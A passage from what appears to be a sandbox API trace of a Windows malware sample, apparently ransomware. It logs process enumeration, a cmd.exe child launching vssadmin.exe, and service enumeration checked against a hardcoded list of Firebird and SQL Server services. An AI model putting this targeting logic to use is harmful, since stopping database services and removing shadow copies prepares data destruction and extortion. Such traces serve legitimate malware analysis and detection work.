12 [0046.740] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.740] lstrlenW (lpString="lsass.exe") returned 9 [0046.740] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0046.741] lstrlenW (lpString="lsm.exe") returned 7 [0046.741] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.741] lstrlenW (lpString="svchost.exe") returned 11 [0046.741] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.742] lstrlenW (lpString="svchost.exe") returned 11 [0046.742] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.742] lstrlenW (lpString="svchost.exe") returned 11 [0046.742] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.743] lstrlenW (lpString="svchost.exe") returned 11 [0046.743] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.743] lstrlenW (lpString="svchost.exe") returned 11 [0046.743] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0046.744] lstrlenW (lpString="audiodg.exe") returned 11 [0046.744] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.744] lstrlenW (lpString="svchost.exe") returned 11 [0046.744] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.745] lstrlenW (lpString="svchost.exe") returned 11 [0046.745] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.745] lstrlenW (lpString="dwm.exe") returned 7 [0046.745] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.746] lstrlenW (lpString="explorer.exe") returned 12 [0046.746] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.746] lstrlenW (lpString="spoolsv.exe") returned 11 [0046.746] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.747] lstrlenW (lpString="taskhost.exe") returned 12 [0046.747] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.747] lstrlenW (lpString="svchost.exe") returned 11 [0046.747] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0046.748] lstrlenW (lpString="taskeng.exe") returned 11 [0046.748] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.748] lstrlenW (lpString="taskhost.exe") returned 12 [0046.748] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0046.748] lstrlenW (lpString="br_maintaining.exe") returned 18 [0046.749] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0046.749] lstrlenW (lpString="kitsenormous.exe") returned 16 [0046.749] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0046.749] lstrlenW (lpString="intermediate-components.exe") returned 27 [0046.750] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0046.750] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0046.750] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0046.750] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0046.750] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0046.751] lstrlenW (lpString="stupid.exe") returned 10 [0046.751] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0046.751] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0046.751] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0046.752] lstrlenW (lpString="addition.exe") returned 12 [0046.752] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0046.752] lstrlenW (lpString="kept retirement.exe") returned 19 [0046.752] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0046.753] lstrlenW (lpString="lmmold.exe") returned 10 [0046.753] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0046.753] lstrlenW (lpString="soma weighted.exe") returned 17 [0046.753] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0046.754] lstrlenW (lpString="cartridge donation.exe") returned 22 [0046.754] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0046.755] lstrlenW (lpString="anti.exe") returned 8 [0046.755] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0046.755] lstrlenW (lpString="cashiersshot.exe") returned 16 [0046.755] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0046.756] lstrlenW (lpString="poundfi.exe") returned 11 [0046.756] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0046.756] lstrlenW (lpString="conditions_hired.exe") returned 20 [0046.756] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0046.757] lstrlenW (lpString="mercedes.exe") returned 12 [0046.757] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0046.757] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0046.757] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0046.758] lstrlenW (lpString="training_wiring.exe") returned 19 [0046.758] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0046.758] lstrlenW (lpString="democratic.exe") returned 14 [0046.758] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0046.759] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0046.759] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0046.759] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0046.759] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0046.760] lstrlenW (lpString="documented.exe") returned 14 [0046.760] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.760] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.760] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0046.761] lstrlenW (lpString="n.exe") returned 5 [0046.761] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0046.761] lstrlenW (lpString="cmd.exe") returned 7 [0046.761] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.762] lstrlenW (lpString="conhost.exe") returned 11 [0046.762] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0046.762] lstrlenW (lpString="vssadmin.exe") returned 12 [0046.762] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0046.762] CloseHandle (hObject=0x198) returned 1 [0046.763] Sleep (dwMilliseconds=0x1f4) [0047.628] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73fef8 [0047.629] EnumServicesStatusExW (in: hSCManager=0x73fef8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0047.629] GetLastError () returned 0xea [0047.629] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x11e4) returned 0x4023080 [0047.629] EnumServicesStatusExW (in: hSCManager=0x73fef8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x11e4, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0047.629] CloseServiceHandle (hSCObject=0x73fef8) returned 1 [0047.630] lstrlenW (lpString="Appinfo") returned 7 [0047.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.630] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.630] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.630] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.630] lstrlenW (lpString="AudioSrv") returned 8 [0047.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.630] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.630] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.630] lstrlenW (lpString="BFE") returned 3 [0047.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.630] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.630] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.630] lstrlenW (lpString="CryptSvc") returned 8 [0047.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.630] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.630] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.631] lstrlenW (lpString="CscService") returned 10 [0047.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.631] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.631] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.631] lstrlenW (lpString="DcomLaunch") returned 10 [0047.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.631] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.631] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.631] lstrlenW (lpString="Dhcp") returned 4 [0047.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.631] lstrlenW (lpString="Dnscache") returned 8 [0047.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.631] lstrlenW (lpString="DPS") returned 3 [0047.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.631] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.631] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.631] lstrlenW (lpString="eventlog") returned 8 [0047.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.632] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.632] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.632] lstrlenW (lpString="EventSystem") returned 11 [0047.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.632] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.632] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.632] lstrlenW (lpString="gpsvc") returned 5 [0047.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.632] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.632] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.632] lstrlenW (lpString="iphlpsvc") returned 8 [0047.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.632] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.632] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.632] lstrlenW (lpString="LanmanServer") returned 12 [0047.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.632] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.632] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.632] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.632] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.632] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.632] lstrlenW (lpString="lmhosts") returned 7 [0047.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.633] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.633] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.633] lstrlenW (lpString="MMCSS") returned 5 [0047.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0047.633] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.633] lstrcmpiW (lpString1="mssqlserver", 